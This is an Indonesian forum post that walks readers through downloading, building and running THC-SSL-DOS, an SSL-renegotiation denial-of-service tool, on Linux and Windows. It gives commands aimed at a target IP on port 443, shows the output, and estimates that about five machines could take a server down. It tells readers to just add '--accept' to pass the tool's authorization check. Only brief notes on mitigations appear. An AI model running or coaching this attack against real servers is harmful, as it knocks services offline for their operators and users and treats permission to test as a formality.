[iKONspirasi]

Setelah jalan-jalan disini, ternyata ada DoS tipe yg ane baru tau yaitu dengan memanfaatkan protokol SSL yang dibuat oleh The Hacker's Choice.

Download aja langsung sourcenya:
Bagi pengguna Unix/Linux disini
Bagi pengguna Windows disini

1. Cara menggunakan di Unix/Linux:
EDITED: (ane baru coba setelah pulang kantor )
ekstrak dulu filenya dengan

Code:

tar xvf thc-ssl-dos-1.4.tar.gz

lalu masuk ke folder /thc-ssl-dos-1.4.tar.gz

lakukan

Code:

./configure

klo ada error

configure: error: libcrypto not found part of openssl.

berarti harus install libssl-dev

Code:

apt-get install libssl-dev

trus

Code:

make all install

jalaninnya:

Code:

./thc-ssl-dos masuk.in.ip.target 443

klo ada error:

ERROR:
Please agree by using '--accept' option that the IP is a legitimate target
and that you are fully authorized to perform the test against this target.

ini semacam agreement antara kita dengan pembuat aplikasi, tambahin --accept aja di line diatas

Code:

./thc-ssl-dos masuk.in.ip.target 443 --accept

jika sudah jalan akan muncul seperti dibawah:

root@iKONs:~/Programs/thc-ssl-dos-1.4/src# thc-ssl-dos masuk.in.ip.target 443 --accept

Waiting for script kiddies to piss off................
The force is with those who read the source...

Handshakes 823 [61.69 h/s], 19 Conn, 0 Err
Handshakes 886 [62.96 h/s], 20 Conn, 0 Err

perhatikan yg warna merah diatas, berarti yg ane lakukan sekitar 60-70 koneksi per detik terhadap server, normalnya sebuah server dapat melakukan sampai 300 koneksi SSL
sehingga dapat disimpulkan serangan DoS yang ane lakukan tidak berhasil membuat server down
berarti paling ngga ada 5 komputer dengan tools ini utk menjatuhkan suatu server...cmiiw

2. Cara menggunakan di Windows:
ekstrak aja file thc-ssl-dos-1.4-win-bin.zip pake winrar/winzip/7zip dsb
buka cmd, masuk ke folder hasil ekstrak diatas, lalu:

C:\Downloads\Compressed\thc-ssl-dos>thc-ssl-dos.exe -h

./thc-ssl-dos [options] <ip> <port>
-h help
-l <n> Limit parallel connections [default: 400]

jalaninnya:

Code:

thc-ssl-dos.exe -l 400 masuk.in.ip.target 443

Untuk lebih jelasnya bisa lihat ke website THC disini.


UPDATE!
klo ada error seperti ini:
1.

thc-ssl-dos-1.4> src/thc-ssl-dos [target_ip] 443 --accept

ERROR: Target has disabled renegotiations.
Use your own skills to modify the source to test/attack
the target [hint: TCP reconnect for every handshake].

berarti SSL Renegotiation pada server telah di blokir sehingga tidak vulnerable terhadap serangan ini.

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
SSL: error:00000000:lib(0):func(0):reason(0)

berarti SSL di server tersebut telah di patch dengan set "Connection soft Limit" dan "Connection hard limit" di "Server"->"Security"->"Per client throttling", di set soft limit to 20 dan hard limit to 30.

Note:
- masukin IP target, klo menggunakan URL ane coba ga bisa
- disini kita hanya bertukar ilmu, penggunaan tools ini merupakan tanggung jawab masing-masing

semoga bermanfaat
